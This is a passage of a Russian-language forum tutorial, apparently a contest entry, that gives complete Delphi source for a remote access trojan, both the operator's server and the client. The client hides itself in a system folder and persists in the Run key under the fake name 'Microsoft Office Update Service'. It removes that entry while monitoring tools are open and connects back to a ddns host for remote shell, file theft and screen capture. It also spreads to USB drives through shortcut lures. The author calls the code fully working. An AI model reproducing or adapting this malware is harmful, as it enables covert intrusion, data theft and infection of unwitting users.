if 'PONG' = (Item.SubItems.Objects[3] as ODA).XXX then Item.SubItems[4] := intToStr((GetTickCount - Integer(Item.SubItems.Objects[1])) div 2)+'ms.' else
if Pos('CMD:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin //Отображаем ответ консоли в Memo
Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, 4);
(Item.SubItems.Objects[4] as TForm4).Memo1.Lines.Add((Item.SubItems.Objects[3] as ODA).XXX);
end else
if pos('FilePathRecaive:PathNotExists', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then SHowmessage('Дирректория не существует!') else
if POS('FilePathRecaive:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin
(Item.SubItems.Objects[5] as TForm2).ListView1.Items.Clear;
Dirs:=TStringlist.Create;
Delete((Item.SubItems.Objects[3] as ODA).XXX,1,16);
Dirs.Text:=(Item.SubItems.Objects[3] as ODA).XXX;
for I := 0 to Dirs.Count-1 do
begin //Так же юзая дженерики заполняем ListView формы файлового менеджера
Splitter:=Dirs[I].Split(['|']);
sitem:=(Item.SubItems.Objects[5] as TForm2).ListView1.Items.Add;
sItem.caption:=splitter[0];
sitem.SubItems.Add(splitter[1]);
sItem.subitems.Add(splitter[2]+'(бт.)');
if splitter[3] = 'DIR' then sitem.ImageIndex:=0 else //В зависимости от типа файла присваиваем ему иконку
if pos('.txt', Dirs[I])<>0 then sitem.ImageIndex:=2 else
if pos('.exe', Dirs[I])<>0 then sitem.ImageIndex:=4 else
if pos('.dll', Dirs[I])<>0 then sitem.ImageIndex:=1 else
if pos('.jpe', Dirs[I])<>0 then sitem.ImageIndex:=3 else
if pos('.zip', Dirs[I])<>0 then sitem.ImageIndex:=5 else
if pos('.rar', Dirs[I])<>0 then sitem.ImageIndex:=5 else sitem.ImageIndex:=6;
end;
end else
if pos('Length:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin //Клиент отправляет нам инфу о том сколько байт файла уже отправилось
(Item.SubItems.Objects[3] as ODA).XXX:=pars('Length:', (Item.SubItems.Objects[3] as ODA).XXX, '<');
(Item.SubItems.Objects[5] as TForm2).Gauge2.Progress:=strtoint((Item.SubItems.Objects[3] as ODA).XXX);
application.ProcessMessages;
end else
if pos('GoFile:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin //Сохраняем файл который был запрошен у клиента
Delete((Item.SubItems.Objects[3] as ODA).XXX,1,7);
FileSaveText(Colorizer, (Item.SubItems.Objects[3] as ODA).XXX);
Item.SubItems.Objects[2]:=TObject(boolean(false));
ShowMessage('Файл успешно был принят');
(Item.SubItems.Objects[5] as TForm2).Gauge1.Progress:=0;
application.ProcessMessages;
end else
if (Item.SubItems.Objects[3] as ODA).XXX = '<Uploaded>' then
begin //Это говорит нам о том что клиент успешно принял отправленный ему файл
Showmessage('Файл Успешно передан!');
item.SubItems.Objects[2]:=TObject(boolean(false));
(Item.SubItems.Objects[5] as TForm2).Gauge2.Progress:=0;
end else
if pos('Fraps|', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin
var wic : TWICImage; //Логика такая, что как только мы получаем от клиента Один кадр, мы говорим что мы получили
var bit: tbitmap; //Давай еще один кадр, но если usabiles = false то не надо, просмотр окончен
var MyCursor: TIcon; //Клиент отправляет нам картинку и информацию о курсоре, где он находится и какой, мы отображаем картинку
var TIconInfo: _ICONINFO; //И уже на ней сами отрисовываем курсор
var x, y, id: integer;
begin
bit:=tbitmap.Create;
wic := TWICImage.Create;
MyCursor:= TIcon.Create;
Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, 6);
x:=strtoint(Copy((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX)-1));
Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX));
y:=strtoint(Copy((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX)-1));
Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX));
id:=strtoint(Copy((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX)-1));
Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX));
wic.LoadFromStream(AnsiStringToStream((Item.SubItems.Objects[3] as ODA).XXX));
bit.Assign(wic);
MyCursor.Handle := id;
GetIconInfo(Mycursor.Handle, TIconInfo);
bit.Canvas.Draw(x-TIconInfo.xHotspot, y-TIconInfo.yHotspot, MyCursor);
(Item.SubItems.Objects[6] as TForm5).image1.Picture.Assign(bit);
(Item.SubItems.Objects[6] as TForm5).ResX := (Item.SubItems.Objects[6] as TForm5).Image1.Width;
(Item.SubItems.Objects[6] as TForm5).ResY := (Item.SubItems.Objects[6] as TForm5).Image1.Height;
Form3.Memo1.Lines.Add(inttostr(x));
Form3.Memo1.Lines.Add(inttostr(y));
Form3.Memo1.Lines.Add(inttostr(id));
wic.free;
bit.Free;
MyCursor.Free;
if usabiles then Socket.SendText('DESP:ST$END$');
end;
end;
(Item.SubItems.Objects[3] as ODA).XXX:=''; //После того как команда была получена и выполнена мы очищаем переменную, для следующих комманд
end
else
begin
if pos('GoFile:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin //Если мы получили от клиента не все пакеты, то смотрим возможно он отправляет нам файл, а мы его получаем, и если так, то отображаем сколько % получили
(Item.SubItems.Objects[5] as TForm2).Gauge1.Progress:=Length((Item.SubItems.Objects[3] as ODA).XXX);
application.ProcessMessages;
end;
end;
end;
Теперь нам нужно написать события для PopupMenu главной формы, Ну крч вот
Обработчики каждой из кнопок
N11 -
Код:
check; (Form1.ListView1.Selected.SubItems.Objects[6] as TForm5).show;
N21 -
Код:
check;
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText('FilePath:'+(Form1.ListView1.Selected.SubItems.Objects[5] as TForm2).Edit1.Text+'$END$');
(Form1.ListView1.Selected.SubItems.Objects[5] as TForm2).Show;
N31 -
Код:
check; (Form1.ListView1.Selected.SubItems.Objects[4] as TForm4).show;
N1 -
Код:
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'close$END$' );
N2 -
Код:
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'restart$END$' );
N3 -
Код:
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'delete$END$' );
N5 -
Код:
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'ShutDown$END$' );
N6 -
Код:
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'SLEEP$END$' );
N7 -
Код:
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'Reboot$END$' );
Клиент
Я рад что вы добрались до этой части, потому что здесь начинается самое интересное. Вы сейчас скажите что на Delphi нельзя писать трои, он будет много весить и т.д., но не спешите с выводами, первое что следует учесть, это то, что мы не будем использовать VCL компоненты как на серверной стороне, а будем юзать winsock, то есть будем намнго все облегчено. Как обычно создаем VCL проект, но теперь уже удаляем форму, делается это следующим образом:
После этого жмем один раз ЛКМ по Project2 что бы он выделился, и нажимаем Ctrl+V, После чего перед напи предстает следующий код:
Ресурс файл нам не нужен и VCl.Forms тоже. Все это мы затираем и остается у нас только Program Project2; uses и begin end;
Следующее что мы делаем это добавляем в uses следующие заголовки
Код:
uses
Winsock,
Windows,
SysUtils,
winapi.ActiveX,
GDIPAPI,
GDIPUTIL;
Ну все, у нас есть пустая программа, лишь с подключенными библиотеками в uses. После uses и подключенных заголовков нам обьявить следующий класс
Код:
type
PROCESS_DPI_AWARENESS = (PROCESS_DPI_UNAWARE, PROCESS_SYSTEM_DPI_AWARE, PROCESS_PER_MONITOR_DPI_AWARE);
Этот класс нужен для работы функции SetProcessDpiAwareness, которая импортируется из DLL следующим образом.
Код:
function SetProcessDpiAwareness(value: PROCESS_DPI_AWARENESS): HRESULT; stdcall; external 'Shcore.dll' name 'SetProcessDpiAwareness';
Прописать это нужно после Var. Данная функция нужна для того что бы Прога правильно распознавала раздрешение экрана, без этой функции ничего не выйдет. Вы скажите все норм если попробуете сделать это без данной функции в другом проекте, и будете правы, но тут ведь мы отключили манифест в котором как раз таки и указывается DpiAwareness, по этому нам нужно установить его вручную.
Далее для удобства обьявляем константы что бы не бегать по коду и не переправлять каждую строку, когда это будет нужно.
Код:
label Again;
Const
ServerHost = 'myserver.ddns.net';
ServerPort = 20000;
Timeout = 3000;
DropPath = 'C:\985\';
DropName = 'Cliente.exe';
MyMutex = '46586269874574257858572127896876158646242';
Далее по порядку идут переменные
Код:
Var
{Winsock}
D:TWSAData;
FSocket:TSocket;
A:TSockAddr;
OldParrent: integer;
StrCommand: string;
{Screenshot}
Scrn, Mem: HDC;
alla: tagCursorInfo;
Bmp, Old: HBITMAP;
buf: ansistring;
width, height: integer;
encoderClsid: TGUID;
Image: GPIMAGE;
ABC: ISTREAM;
sz: uint64;
{---}
UPLOADFile: TextFile;
PCInfo:String;
ValuesT: integer;
Reciving: boolean;
Recbuffer: string;
{---}
Теперь давайте приступик к написанию самого кода. Первое что должен делать клиент это смотреть есть ли он уже в системе.
Код:
Procedure InstallAllinstances();
begin
if not(FileExists(DropPath+DropName)) then //Проверяе мналичие клиент
begin
ForceDirectories(DropPath); //Если клиента нет, то создаем
CopyFile(PChar(ParamStr(0)),pchar(DropPath+DropName),false); /Копируем себя в эту дирректорию
FileSetAttr(DropPath, faSysFile or faHidden or faReadOnly); //Устанавливаем аттрибуты Системный, скрытый, тольео для чтения. Из-за атрибута системный найти нас не так легко, т.к. мы не отображаемя в обычном проводнике
ShellApik(pchar(DropPath+DropName)); //Запускаемся от туда
ExitProcess(0); //Защелкиваемся к хуям собачьим, закрываем себя
end;
OldParrent:=0; //Инициализируем переменную
ValuesT:=0; //Инициализируем переменную
CreateMutex(NIL, FALSE, MyMutex); //Создаем мьютекст (Защита от повторного запуска)
if GetLastError = ERROR_ALREADY_EXISTS then ExitProcess(0); //Если софт с таким мьютексом уже запущен значит закрываемся
SetProcessDpiAwareness(PROCESS_SYSTEM_DPI_AWARE); //Устанавливаем DpiAwaress о котором я говорил выше
PCInfo:='<|Info|>:'+User_CompName+':'+RegQueryStr(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName')+':'+RegQueryStr(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0','ProcessorNameString');//Собираем инфу о ПК
end;
Код:
procedure ShellApik(FileName: string); //Процедура для запука программ
var pi: TProcessInformation;
si: TStartupInfo;
begin
ZeroMemory(@si,sizeof(si));
si.cb := SizeOf(si);
CreateProcess(PChar(FileNAme), nil ,nil, nil, false, 0, nil,nil,si,pi);
end;
function User_CompName: string; //получаем имя пользователя и ПК
var
UserNameLen, CompNameLen : Dword;
Compbuf, Userbuf: array[0..255] of char;
begin
UserNameLen := 255;
GetUserName(Userbuf, UserNameLen);
GetComputerName(Compbuf,CompNameLen);
Result := PChar(@Userbuf)+'@'+PChar(@Compbuf);
end;
function RegQueryStr(RootKey: HKEY; Key, Name: string; Success: PBoolean = nil): string; //Читаем значения из реестра
var
Handle: HKEY;
Res: LongInt;
DataType, DataSize: DWORD;
begin
if Assigned(Success) then Success^ := False;
Res := RegOpenKeyEx(RootKey, PChar(Key), 0, KEY_QUERY_VALUE, Handle);
if Res <> ERROR_SUCCESS then Exit;
Res := RegQueryValueEx(Handle, PChar(Name), nil, @DataType, nil, @DataSize);
if (Res <> ERROR_SUCCESS) or (DataType <> REG_SZ) then
begin
RegCloseKey(Handle);
Exit;
end;
SetString(Result, nil, DataSize - 1);
Res := RegQueryValueEx(Handle, PChar(Name), nil, @DataType,
PByte(@Result[1]), @DataSize);
if Assigned(Success) then Success^ := Res = ERROR_SUCCESS;
RegCloseKey(Handle);
end;
И того у нас получается невидимая папка
Теперь создаем потоки о которых я говорил в теоритической части статьи
Код:
procedure CheckReg;
var hwd: HWND;
FrameData: string;
begin
while True Do
begin
sleep(350);
FrameData:=GetDosOutPut('reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /s'); //Получаем программы которые есть в автозагрузке
if (FindWindow('RegEdit_RegEdit', nil)<>0) or (FindWindow('Autoruns', nil)<>0)
or (FindWindow('PiriformCCleaner', nil)<>0) or (FindWindow('TaskManagerWindow', nil)<>0) then //Если вдруг одна из этих(AutoRuns, Ccleaner, Редактор реестра, Диспетчер задач) программ выполняется, то удаляемся из автозагрузки
begin
if pos(DropName, FrameData)<>0 then
GetDosOutput('REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Office Update Service" /f');
end
else
begin //Если же эти программы не запущены, то проверяем есть ли мы в автозагрузк, если нас там нет, то добавляемся как Microsoft Office Update Service
if pos(DropName, FrameData)=0 then
GetDosOutput('REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Office Update Service" /t REG_SZ /d "'+DropPath+DropName+'"');
end;
end;
end;
данный поток будет находить программы не по их названию окна, а названию класса окна, т.к. винда может быть на разных языках, и заголовок окна будет всегда разный, но не класс
Это паблик функция выполнения командной строки, которую можно легко нагуглить, только вот мне немного пришлось ее подредактировать что бы символы нормально отображались, она основана на Пайпах
Код:
function GetDosOutput(CommandLine: string; Work: string = 'C:\'): String;
var
SA: TSecurityAttributes;
SI: TStartupInfo;
PI: TProcessInformation;
StdOutPipeRead, StdOutPipeWrite: THandle;
WasOK: Boolean;
Buffer, BufText: array[0..255] of AnsiChar; //подправил указатель чтобы не было китайских символов
BytesRead: Cardinal;
WorkDir: string;
Handle: Boolean;
begin
Result := '';
with SA do begin
nLength := SizeOf(SA);
bInheritHandle := True;
lpSecurityDescriptor := nil;
end;
CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0);
try
with SI do
begin
FillChar(SI, SizeOf(SI), 0);
cb := SizeOf(SI);
dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
wShowWindow := SW_HIDE;
hStdInput := GetStdHandle(
STD_INPUT_HANDLE); // не переадресовывать stdinput
hStdOutput := StdOutPipeWrite;
hStdError := StdOutPipeWrite;
end;
WorkDir := Work;
Handle := CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
nil, nil, True, 0, nil,
PChar(WorkDir), SI, PI);
CloseHandle(StdOutPipeWrite);
fillChar(Buffer, SizeOf(Buffer), 0);
fillChar(BufText, SizeOf(BufText), 0);
if Handle then
try
repeat
WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil);
if BytesRead > 0 then
begin
Buffer[BytesRead] := #0;
OemtoAnsi(Buffer, BufText);
Result := Result + BufText;
end;
until not WasOK or (BytesRead = 0);
WaitForSingleObject(PI.hProcess, INFINITE);
finally
CloseHandle(PI.hThread);
CloseHandle(PI.hProcess);
end;
finally
CloseHandle(StdOutPipeRead);
end;
end;
Логика заражения флешки следующая. Софт проверяет диски, если вдруг один из этих дисков флешка, то мы создаем на ней папку FilesH с атрибутом скрытая, а в ней создаем еще одну папку 682, сюда самокопируемся. Все файлы то что есть на флешке перемещаем по пути FilesH, и к каждому файлу создаем ярлык который будет оновременно запускать и наш вирус из папки FilesH\682 и сам файл которому принадлежит ярлык. Данный алгоритм я подглядел у другого трояна, которым заразил свою флешку когда пошел распечатывать реферат в ближайшем интернет-кафе
Код:
procedure CheckFlash;
var
i: integer;
LogDrives: set of 0..25;
LongIland, DiskList: ansistring;
sRec: TSearchRec;
isFound: boolean;
begin
while true do
begin
sleep(350);
DiskList:='';
integer(LogDrives) := GetLogicalDrives;
for i := 0 to 25 do
begin
if (i in LogDrives) then
DiskList:=DiskList+(chr(i + 65));
end;
if Length(disklist)>1 then
for i := 1 to Length(disklist) do
begin
if GetDriveType(PChar(disklist[i] + ':\')) = DRIVE_REMOVABLE then
begin
LongIland:='';
if not(FileExists(disklist[i]+':\FilesH\682\585878659.exe')) then
begin
ForceDirectories(disklist[i]+':\FilesH\682');
CopyFile(PChar(ParamStr(0)),pchar(disklist[i]+':\FilesH\682\585878659.exe'),true);
FileSetAttr(disklist[i]+':\FilesH', faHidden);
end;
isFound := FindFirst( disklist[i] + ':\*.*', faAnyFile, sRec ) = 0;
while isFound do
begin
if (pos('.lnk', Srec.Name)=0) and (pos('System', Srec.Name)=0) and (pos('FilesH', Srec.Name)=0) then
begin
MoveFile(PChar(disklist[i]+':\'+Srec.Name), PChar(disklist[i]+':\FilesH\'+SRec.Name));
LongIland:=LongIland+SetAparts(disklist[i], Srec.Name);
end;
isFound := FindNext(sRec) = 0;
end;
FindClose(sRec);
if LongIland<>'' then
begin
FileSaveText(disklist[i]+':\FilesH\v123i.vbs',LongIland);
GetDosOutput(disklist[i]+':\FilesH\v123i.vbs');
DeleteFile(disklist[i]+':\FilesH\v123i.vbs');
end;
end;
end;
end;
end;
Код:
function SetAparts(Disk, name: string): string;
begin
Result:=
'set WshShell = WScript.CreateObject("WScript.Shell" )'+#13#10+
'set oShellLink = WshShell.CreateShortcut("'+disk+':\'+name+'.lnk" )'+#13#10+
'oShellLink.TargetPath = "C:\Windows\System32\cmd.exe"'+#13#10+
'oShellLink.Arguments = "/c st^art FilesH\682\585878659.exe & ""FilesH\'+name+'"""'+#13#10+
'oShellLink.IconLocation = """'+disk+':\FilesH\'+name+'"""'+#13#10+
'oShellLink.WindowStyle = 7'+#13#10+
'oShellLink.Save'+#13#10;
end;
procedure FileSaveText( const FileName: string; const Data: ansistring);
var f: thandle;
dwWrite: DWORD;
begin
F:= CreateFile( PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
if Data <> '' then WriteFile(F, Data[1], Length(Data), dwWrite, nil);
CloseHandle(F);
end;
Данный поток будет проверять подгружены ли в софт DLL`ки из других дирректорий кроме :\windows\ если такие dll имеются то клиент просто закрывается
Код:
procedure ChechInjectedDll;
type
TModuleArray = array [0..400] of HMODULE;
EnumModType = function (hProcess: Longint; lphModule: TModuleArray; cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
psapilib: HModule;
EnumProc: Pointer;
ma: TModuleArray;
I: integer;
tampers: string;
FileName: array[0..MAX_PATH] of Char;
begin
psapilib := LoadLibrary('psapi.dll');
if psapilib = 0 then Exit;
EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
while true do
begin
sleep(350);
try
FillChar(ma, SizeOF(TModuleArray), 0);
if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
begin
for I := 1 to 400 do
if ma[i] <> 0 then
begin
GetModuleFileName(ma[i], FileName, MAX_PATH);
if Pos(':\windows\', AnsiLowerCase(FileName))=0 then
begin
FreeLibrary(psapilib);
closesocket(FSocket);
WSACleanup;
ExitProcess(0);
end;
end;
end;
except end;
end;
end;
Теперь пишем основной код Клиента
Код:
begin
Sleep(1000);
InstallAllinstances();
createthread(nil, 0, @CheckFlash, nil, 0, pdword(0)^);
createthread(nil, 0, @ChechInjectedDll, nil, 0, pdword(0)^);
createthread(nil, 0, @CheckReg, nil, 0, pdword(0)^);
while True do
begin
WSAStartup(MAKEWORD(2,0), D); //Инициализируем winsock
FSocket:=socket(AF_INET,SOCK_STREAM,0); //инициализируем сокет
A.sin_family:=AF_INET;
A.sin_port:=htons(ServerPort);
repeat
try
A.sin_addr.S_addr:=PLongint(gethostbyname(ServerHost)^.h_addr_list^)^; //По хостнейму узнаем IP
except
A.sin_addr.S_addr:=inet_addr(Pansichar(String('127.0.0.1'))); //Данная обработка нужна на тот случай если у бота вылетет интернет, клиент тупа себя спалит без этой обработки т.к. вылетит ошибка
end;
Sleep(Timeout);
until connect(FSocket,A,sizeof(A)) = 0;
sleep(1000); //Даем серверу немного времени на добавление клиента к себе
while true do
begin
StrCommand:='';
Again:
RecBuffer:='';
RecBuffer:=SetPArt; //Т.к. сокет находится в блокирующем режиме, данная функция будет ждать ответа от сервера
if Length(RecBuffer) = 0 then Inc(OldParrent); //Либо при разьединении соединения будет возвращать 0
if Length(RecBuffer) > 0 then OldParrent:=0; //Именно так мы и поймем что связь оборвалась
if OldParrent > 1000 then break; // И соответственно выходим из цикла
if Length(RecBuffer)<>0 then
begin
StrCommand:=StrCommand+RecBuffer; //Так же как и на сервере команды стакаются в одну переменную пока не получат знак об окончании передачи
if Pos('$END$', StrCommand)=0 then
begin //Если не нашли знака то проверяем находимся ли мы в режиме передачи данных
if Reciving then
begin
Inc(ValuesT, StrCommand.Length);
WriteLn(UPLOADFile, StrCommand); //Если в режиме приема то записываем файл
SendTxt('Length:'+inttostr(ValuesT)+'<'); //И отправляем серверу отчет сколько записали
StrCommand:='';
end;
Goto Again //С помощью метки циклично переходим к повторению кода
end else Delete(StrCommand, POS('$END$', StrCommand), Length(StrCommand)); //Если все заебумба то удаляем символ конца и проверяем комманды
if Reciving then
begin //Если мы добрались до отсюда и оказывается что режим приема включен то говорим серверу, мол у меня все заебись, файл принял
CloseFile(UPLOADFile);
SendTxt('<Uploaded>');
Reciving:=false;
StrCommand:='';
ValuesT:=0;
end;
if StrCommand = '<|PING|>' then SendTxt('PONG') else
if StrCommand = '<Ready>' then SendTxt(PCInfo) else
if POS('UPLOAD:', StrCommand)<>0 then
begin //Как раз таки переходим в режим приема файла
Delete(StrCommand, 1, 7);
Reciving:=true;
Assignfile(UPLOADFile, StrCommand);
Rewrite(UPLOADFile);
end else
if POS('Start:', StrCommand)<>0 then
begin //запуск программы
Delete(StrCommand, 1, 6);
GetDosOutPut('start '+StrCommand);
end else
if pos('Download:', StrCommand)<>0 then
begin //Отправляем файл серверу
Delete(StrCommand, 1, 9);
SendTxt('GoFile:'+FileOpenText(StrCommand));
end else
if Pos('DelDirs:', StrCommand)<>0 then
begin //Удаляем дирректорию
Delete(StrCommand, 1, 8);
RemoveDirectory(Pchar(StrCommand));
end else
if POS('DelFile:', StrCommand)<>0 then
begin //Удаляем файл
Delete(StrCommand, 1, 8);
DeleteFile(StrCommand);
end else
if POS('FilePath:',StrCommand)<>0 then //
begin Получаем все файлы в определенной дирректории
Delete(StrCommand, 1, 9);
SendTxt('FilePathRecaive:'+GetAllFiles(StrCommand)); //
end else
if POS('CMD:',StrCommand)<>0 then
begin //Выполняем консольные комманды
Delete(StrCommand, 1, 4);
SendTxt('CMD:'+GetDosOutput(StrCommand));
end else
if 'close' = StrCommand then
begin //Закрываемся
closesocket(FSocket);
WSACleanup;
ExitProcess(0);
end else
if 'restart' = StrCommand then
begin //Перезапускаемся, именно за этим и нужен слип в начале, иначе из за мьютекса просто не перезапустится, ну либо можно просто обнулить здесь мьютекст и тогда нам не понадобится слип в начале
closesocket(FSocket);
WSACleanup;
ShellApik(ParamStr(0));
ExitProcess(0);
end else
if StrCommand = 'delete' then
begin //Самоудаляемся через батник, не лучший вариант конечно, но все же, следовало бы конечно сначало разрушить поток автозагрузки, удалиться из автозагрузки потом выполнять вот этот код
closesocket(FSocket);
WSACleanup;
FileSaveText(ExtractFilePath(ParamStr(0))+'delete.bat', 'del ' + ExtractFileName(ParamSTR(0))+sLineBreak+'del delete.bat');
ShellApik('Delete.bat');
ExitProcess(0);
end else
if StrCommand = 'ShutDown' then
begin //Вырубаем ПК
closesocket(FSocket);
GetDosOutput('shutdown -s -t 0');
WSACleanup;
ExitProcess(0);
end else
if StrCommand = 'SLEEP' then
begin //Отправляем в сон Пк
GetDosOutput('shutdown -h');
end else
if StrCommand = 'Reboot' then
begin //Перезагружаем
closesocket(FSocket);
GetDosOutput('shutdown -r -t 0');
WSACleanup;
ExitProcess(0);
end else
if StrCommand = 'DESP:ST' then
begin
try
buf:='';
Scrn := CreateDC('DISPLAY', nil, nil, nil);
width := GetSystemMetrics(SM_CXSCREEN); //Получаем размеры монитора
height := GetSystemMetrics(SM_CYSCREEN);
Mem := CreateCompatibleDC(Scrn);
Bmp := CreateCompatibleBitmap(Scrn, width, height);
Old := SelectObject(Mem, Bmp);
BitBlt(Mem, 0, 0, width, height, Scrn, 0, 0, SRCCOPY); //Срисовываем рабочий стол
SelectObject(Mem, Old);
//В результате у нас получается данных на 8 мб. эт очень много, по этому приводим скрин в формат jpeg с помощью gdi+
CreateStreamOnHGlobal(0, false, ABC);
GdipCreateBitmapFromHBITMAP(Bmp, 0, image);
GetEncoderClsid('image/png', encoderClsid);
GdipSaveImageToStream(Image, ABC, @encoderClsid, nil);
ABC.Seek(0, 2, sz);
ABC.Seek(0, 0, uint64(nil^));
SetLength(buf, sz);
ABC.Read(Pointer(buf), sz, 0); //Переводим в string
alla.cbSize:=sizeof(alla);
GetCursorInfo(alla); //Все это отправляем по сокету в виде текста
SendTxt('Fraps|'+inttostr(alla.ptScreenPos.X)+'|'+inttostr(alla.ptScreenPos.Y)+'|'+inttostr(alla.hCursor)+'|'+buf);
//Освобождаем занятую память
ABC:=nil;
DeleteDC(Mem);
DeleteDC(Scrn);
DeleteObject(Bmp);
except end;
end;
strCommand:=''; //Затираем полностью команду которую получили
RecBuffer:='';
end;
end;
closesocket(FSocket); //Закрываем сокет
WSACleanup; //Финализируем winsock
end;
end.
Ну это элеентарно, функция сделана чисто для удобства что бы просто указал данные которые надо отправить и все.
Думаю название функции говорит само за себя получаем список файлов, их размер и дату изменения, формируем это все в виде столбика для удобства
Эта функция взята из VCL компонента клиента и немного переделана под мои нужны, здесь мы как раз таки и получаем данные от сервера, можно сказать один из самых ключевых моментов крысы. ioctlsocket с параметром FIONREAD возвращает нам размер данных, находящихся во входном буфере сокета, в байтах.
Код:
Function SendTxt(tokar: ansiString):Boolean;
Begin
Send(FSocket, Pointer(tokar+'$END$')^, length(tokar+'$END$'),0);
end;
Думаю название функции говорит само за себя получаем список файлов, их размер и дату изменения, формируем это все в виде столбика для удобства
Код:
function GetAllFiles(Path: string): string;
var
sRec: TSearchRec;
isFound: boolean;
st: string;
begin
if DirectoryExists(Path) then
begin
Result:='';
isFound := FindFirst( Path + '\*.*', faAnyFile, sRec ) = 0;
while isFound do
begin
if ( sRec.Name <> '.' ) and ( sRec.Name <> '..' ) then
begin
if ( sRec.Attr and faDirectory ) = faDirectory then st:='DIR' else st:='None';
Result:=Result+sRec.Name+'|'+DateTimeToStr(sRec.TimeStamp)+'|'+inttostr(sRec.Size)+'|'+st+'|'+sLineBreak;
end;
isFound := FindNext( sRec ) = 0;
end;
FindClose( sRec );
end
else
begin
Result:='PathNotExists';
end;
end;
Эта функция взята из VCL компонента клиента и немного переделана под мои нужны, здесь мы как раз таки и получаем данные от сервера, можно сказать один из самых ключевых моментов крысы. ioctlsocket с параметром FIONREAD возвращает нам размер данных, находящихся во входном буфере сокета, в байтах.
Код:
function SetPArt: ansistring;
var
iCount, topic, ridic: Integer;
begin
ioctlsocket(FSocket, FIONREAD, Longint(Ridic));
SetLength(Result, Ridic);
if ioctlsocket(FSocket, FIONREAD, iCount) = 0 then
if (iCount > 0) and (iCount < Ridic) then Ridic := iCount;
topic := recv(FSocket, Pointer(Result)^, ridic, 0);
SetLength(Result, topic);
end;
По весу клиент выходит примерно на 208кб., это из-за GDI+, если не использовать его и импортировать все необходимые функции вручную, то можно сократить общий обьем до 50кб, при переписывании кода на Delphi 7 вес уменьшается до 30кб., либо вы можете поступить еще хардкорнее и импортировать вручную функции winsock, и того 16кб. информация для тех кто сильно беспокоется на счет веса клиента.
Заключение
Спасибо что дочитали статью до конца, в данный проект я вложил душу и частичку себя, по-этому я надеюсь что вы оцените его по достоинству, код предоставленный здесь полностью рабочий если собрать его как надо, если же во время написания софта по моему коду у вас внезапно возникнут какие-то несостыковки или вопросы, можете написать мне в теме или в личку, отвечу на все вопросы. Подитоживая, мы имеем полностью рабочий ратник с функциями демонстрации экрана, файлового менеджера, заражения флешек и CMD, да я знаю функционал не такой уж и большой, но это самые важные функции, при желании ни составит труда дописать какую нибудь функцию самостоятельно, я постарался максимально просто довести до вас такую трудную тему, в одной статье. Так же хотелось бы услышать здравую критику по коду. Всем удачи в конкурсе.
Литература
https://docs.microsoft.com/en-us/windows/win32/winsock/windows-sockets-start-page-2
https://lecturesnet.readthedocs.io/net/low-level/ipc/socket/intro.html
http://www.delphikingdom.com/asp/viewitem.asp?catalogid=1021
Delphi глазами хакера (Фленов)
Библия Delphi (Фленов)
Автор: KONUNG